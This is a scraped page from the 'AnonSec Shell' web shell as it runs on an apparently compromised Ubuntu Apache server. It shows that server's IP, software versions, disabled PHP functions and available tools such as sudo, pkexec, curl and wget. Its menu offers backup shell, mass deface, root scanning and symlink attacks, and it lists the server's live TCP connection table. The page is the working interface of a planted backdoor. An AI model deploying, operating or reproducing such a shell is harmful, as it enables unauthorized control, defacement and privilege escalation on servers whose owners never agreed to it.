AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.167   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/912/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/912/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   112        0 6530575 1 0000000000000000 100 0 0 10 0                   
   1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 15565 1 0000000000000000 100 0 0 10 0                     
   2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19595 21 0000000000000000 100 0 0 10 0                    
   3: F89A16A5:0016 6E2A5C5B:F7A7 03 00000000:00000000 01:00000184 00000003     0        0 0 0 0000000000000000                                      
   4: F89A16A5:0016 8D2A5C5B:717B 03 00000000:00000000 01:00000070 00000004     0        0 0 0 0000000000000000                                      
   5: F89A16A5:0016 F02A5C5B:508A 03 00000000:00000000 01:00000763 00000005     0        0 0 0 0000000000000000                                      
   6: F89A16A5:B0BE AA6284D4:01BB 01 00000000:00000000 00:00000000 00000000    33        0 72305166 1 0000000000000000 36 4 30 2 2                   
   7: F89A16A5:0016 722A5C5B:DB5E 03 00000000:00000000 01:00000556 00000004     0        0 0 0 0000000000000000                                      
   8: F89A16A5:0016 392A5C5B:CC12 03 00000000:00000000 01:00000000 00000005     0        0 0 0 0000000000000000                                      
   9: F89A16A5:0016 D82A5C5B:DE45 03 00000000:00000000 01:0000003D 00000004     0        0 0 0 0000000000000000                                      
  10: F89A16A5:0016 8A2A5C5B:1E8E 03 00000000:00000000 01:000002B0 00000005     0        0 0 0 0000000000000000                                      
  11: F89A16A5:0016 032A5C5B:7C90 03 00000000:00000000 01:000004CA 00000005     0        0 0 0 0000000000000000                                      
  12: F89A16A5:0016 6C2A5C5B:726D 03 00000000:00000000 01:00000A30 00000005     0        0 0 0 0000000000000000                                      
  13: F89A16A5:0016 002A5C5B:BEF0 03 00000000:00000000 01:00000236 00000003     0        0 0 0 0000000000000000                                      
  14: F89A16A5:0016 9C2A5C5B:34DE 03 00000000:00000000 01:000002D6 00000004     0        0 0 0 0000000000000000                                      
  15: F89A16A5:0016 032A5C5B:C640 03 00000000:00000000 01:00000296 00000005     0        0 0 0 0000000000000000                                      
  16: F89A16A5:0016 242A5C5B:0693 03 00000000:00000000 01:000000D0 00000002     0        0 0 0 0000000000000000                                      
  17: F89A16A5:0016 5F2A5C5B:50F6 03 00000000:00000000 01:00000000 00000005     0        0 0 0 0000000000000000                                      
  18: F89A16A5:0016 332A5C5B:257A 03 00000000:00000000 01:00000153 00000002     0        0 0 0 0000000000000000                                      
  19: F89A16A5:0016 F02A5C5B:28EE 03 00000000:00000000 01:00000516 00000005     0        0 0 0 0000000000000000                                      
  20: F89A16A5:0016 D32A5C5B:159F 03 00000000:00000000 01:000007CA 00000005     0        0 0 0 0000000000000000                                      
  21: F89A16A5:0016 8C2A5C5B:4B68 03 00000000:00000000 01:000009E3 00000005     0        0 0 0 0000000000000000                                      
  22: F89A16A5:0016 872A5C5B:208F 03 00000000:00000000 01:000002A3 00000004     0        0 0 0 0000000000000000                                      
  23: F89A16A5:0016 192A5C5B:021C 03 00000000:00000000 01:000005A3 00000004     0        0 0 0 0000000000000000                                      

Anon7 - 2022
AnonSec Team